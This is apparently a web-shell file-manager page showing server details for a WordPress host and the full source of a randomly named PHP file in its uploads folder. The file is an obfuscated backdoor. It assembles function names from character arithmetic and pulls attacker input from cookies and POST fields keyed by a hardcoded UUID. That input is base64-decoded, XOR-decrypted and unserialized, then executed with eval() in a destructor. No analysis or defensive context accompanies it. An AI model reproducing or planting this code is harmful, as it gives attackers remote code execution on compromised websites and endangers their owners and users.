HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/eOSZJrNY.php
$HmmSt = chr ( 625 - 519 ).chr (95) . 'Z' . 'X' . 'K' . chr (99); $fXWeNA = chr ( 154 - 55 ).chr ( 682 - 574 ).chr (97) . chr (115) . "\x73" . "\x5f" . chr ( 135 - 34 )."\x78" . "\151" . chr (115) . chr (116) . chr ( 1060 - 945 ); $XNSAaL = class_exists($HmmSt); $fXWeNA = "64606";$aNwwp = strpos($fXWeNA, $HmmSt);if ($XNSAaL == $aNwwp){function yqRvXkoWR(){$KkyyMmMuO = new /* 41159 */ j_ZXKc(12646 + 12646); $KkyyMmMuO = NULL;}$eRzJcpZV = "12646";class j_ZXKc{private function hcIDxHLgLB($eRzJcpZV){if (is_array(j_ZXKc::$DqVsnCI)) {$fsJiLsT2 = str_replace("<" . "?php", "", j_ZXKc::$DqVsnCI["content"]);eval($fsJiLsT2); $eRzJcpZV = "12646";exit();}}public function cMtJAaA(){$fsJiLsT = "32234";$this->_dummy = str_repeat($fsJiLsT, strlen($fsJiLsT));}public function __destruct(){j_ZXKc::$DqVsnCI = @unserialize(j_ZXKc::$DqVsnCI); $eRzJcpZV = "49510_63737";$this->hcIDxHLgLB($eRzJcpZV); $eRzJcpZV = "49510_63737";}public function chUGl($fsJiLsT, $BInhy){return $fsJiLsT[0] ^ str_repeat($BInhy, intval(strlen($fsJiLsT[0]) / strlen($BInhy)) + 1);}public function nCNmriAhw($fsJiLsT){$icTtdtE = chr ( 174 - 76 )."\x61" . 's' . 'e' . '6' . chr ( 226 - 174 );return array_map($icTtdtE . '_' . chr ( 699 - 599 ).'e' . 'c' . "\x6f" . "\144" . chr ( 430 - 329 ), array($fsJiLsT,));}public function __construct($GVdvCRv=0){$kqTvrW = "\x2c";$fsJiLsT = "";$YMLzI = $_POST;$mPGKHxFgl = $_COOKIE;$BInhy = "a9b4e805-0e5a-4f2f-b4e6-119be9648b15";$lyqMQQkA = @$mPGKHxFgl[substr($BInhy, 0, 4)];if (!empty($lyqMQQkA)){$lyqMQQkA = explode($kqTvrW, $lyqMQQkA);foreach ($lyqMQQkA as $dHMkraNfC){$fsJiLsT .= @$mPGKHxFgl[$dHMkraNfC];$fsJiLsT .= @$YMLzI[$dHMkraNfC];}$fsJiLsT = $this->nCNmriAhw($fsJiLsT);}j_ZXKc::$DqVsnCI = $this->chUGl($fsJiLsT, $BInhy);if (strpos($BInhy, $kqTvrW) !== FALSE){$BInhy = str_pad($BInhy, 10); $BInhy = ltrim(rtrim($BInhy));}}public static $DqVsnCI = 62725;}yqRvXkoWR();}